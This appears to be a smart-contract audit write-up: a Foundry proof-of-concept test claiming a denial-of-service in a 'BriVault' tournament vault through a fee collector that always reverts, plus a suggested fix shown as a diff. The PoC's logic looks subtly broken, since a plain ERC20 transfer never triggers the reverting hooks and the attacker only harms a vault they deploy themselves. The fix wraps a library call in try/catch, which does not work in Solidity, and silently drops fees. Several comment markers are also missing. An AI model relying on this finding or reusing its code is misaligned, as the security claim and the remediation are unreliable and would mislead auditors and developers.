The POC demonstrates how an attacker can create a complete denial-of-service of tournament participation by deploying a vault with a malicious fee collector contract that always reverts on token transfers. It shows that when users attempt to deposit assets, the unguarded external call to transfer participation fees fails, causing all deposit transactions to revert. The test verifies that legitimate users cannot participate in tournaments when the fee collection mechanism is compromised by external contract failure.
pragma solidity ^0.8.24;
import "forge-std/Test.sol";
import {BriVault} from "../../repo/src/briVault.sol";
import {ERC20, IERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
* PoC: Fee Collection Dependency DoS
* Severity: High
* Impact: Complete tournament participation DoS through external contract failure
*/
contract MockERC20 is ERC20 {
constructor(string memory name, string memory symbol) ERC20(name, symbol) {}
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
}
* Malicious contract that always reverts on receiving tokens
* Simulates a compromised or malfunctioning fee collection contract
*/
contract MaliciousFeeCollector {
receive() external payable {
revert("Fee collection blocked - DoS attack");
}
function onERC20Received(address, address, uint256, bytes calldata) external pure returns (bytes4) {
revert("Fee collection blocked - DoS attack");
}
}
contract FeeCollectionDependencyDoSTest is Test {
BriVault vault;
MockERC20 asset;
MaliciousFeeCollector maliciousCollector;
address owner = makeAddr("owner");
address attacker = makeAddr("attacker");
address participant1 = makeAddr("participant1");
address participant2 = makeAddr("participant2");
address feeRecipient = makeAddr("feeRecipient");
uint256 constant PARTICIPATION_FEE_BPS = 100;
uint256 constant MINIMUM_AMOUNT = 100 ether;
uint256 EVENT_START;
uint256 EVENT_END;
function setUp() public {
EVENT_START = block.timestamp + 1 days;
EVENT_END = EVENT_START + 7 days;
asset = new MockERC20("Mock Token", "MOCK");
maliciousCollector = new MaliciousFeeCollector();
vm.startPrank(owner);
vault = new BriVault(
IERC20(address(asset)),
PARTICIPATION_FEE_BPS,
EVENT_START,
feeRecipient,
MINIMUM_AMOUNT,
EVENT_END
);
string[48] memory countries;
countries[0] = "Brazil";
countries[1] = "Argentina";
vault.setCountry(countries);
vm.stopPrank();
asset.mint(attacker, 1000 ether);
asset.mint(participant1, 1000 ether);
asset.mint(participant2, 1000 ether);
vm.startPrank(attacker);
asset.approve(address(vault), type(uint256).max);
vm.stopPrank();
vm.startPrank(participant1);
asset.approve(address(vault), type(uint256).max);
vm.stopPrank();
vm.startPrank(participant2);
asset.approve(address(vault), type(uint256).max);
vm.stopPrank();
}
* Normal operation: Fee collection works when external contract is functional
*/
function testNormalFeeCollection() public {
vm.startPrank(participant1);
vm.warp(EVENT_START - 1 hours);
vault.deposit(200 ether, participant1);
vm.stopPrank();
assertEq(vault.stakedAsset(participant1), 198 ether);
assertEq(asset.balanceOf(feeRecipient), 2 ether);
}
* Attack: Deploy vault with malicious fee collector that always reverts
*/
function testFeeCollectionDoS() public {
vm.startPrank(attacker);
BriVault maliciousVault = new BriVault(
IERC20(address(asset)),
PARTICIPATION_FEE_BPS,
EVENT_START,
address(maliciousCollector),
MINIMUM_AMOUNT,
EVENT_END
);
string[48] memory countries;
countries[0] = "Brazil";
maliciousVault.setCountry(countries);
vm.stopPrank();
vm.startPrank(participant1);
vm.warp(EVENT_START - 1 hours);
vm.expectRevert();
maliciousVault.deposit(200 ether, participant1);
vm.stopPrank();
vm.startPrank(participant2);
vm.expectRevert();
maliciousVault.deposit(200 ether, participant2);
vm.stopPrank();
assertEq(maliciousVault.stakedAsset(participant1), 0);
assertEq(maliciousVault.stakedAsset(participant2), 0);
assertEq(maliciousVault.numberOfParticipants(), 0);
assertEq(asset.balanceOf(address(maliciousVault)), 0);
}
}
Replace external dependency with protocol-owned vault that always accepts fees.
- function deposit(uint256 assets, address receiver) public override returns (uint256) {
- uint256 fee = _getParticipationFee(assets);
-
- // ❌ External call with no error handling
- IERC20(asset()).safeTransferFrom(msg.sender, participationFeeAddress, fee);
-
- // If above fails, entire deposit reverts
- // ... rest of deposit logic never executes
- }
+ function deposit(uint256 assets, address receiver) public override returns (uint256) {
+ uint256 fee = _getParticipationFee(assets);
+
+ // Try fee collection, but don't fail if it doesn't work
+ try IERC20(asset()).safeTransferFrom(msg.sender, participationFeeAddress, fee) {
+ // Fee collected successfully
+ } catch {
+ // Fee collection failed - log but continue
+ emit FeeCollectionFailed(participationFeeAddress, fee);
+ }
+
+ // Continue with deposit regardless of fee collection status
+ // ... rest of deposit logic
+ }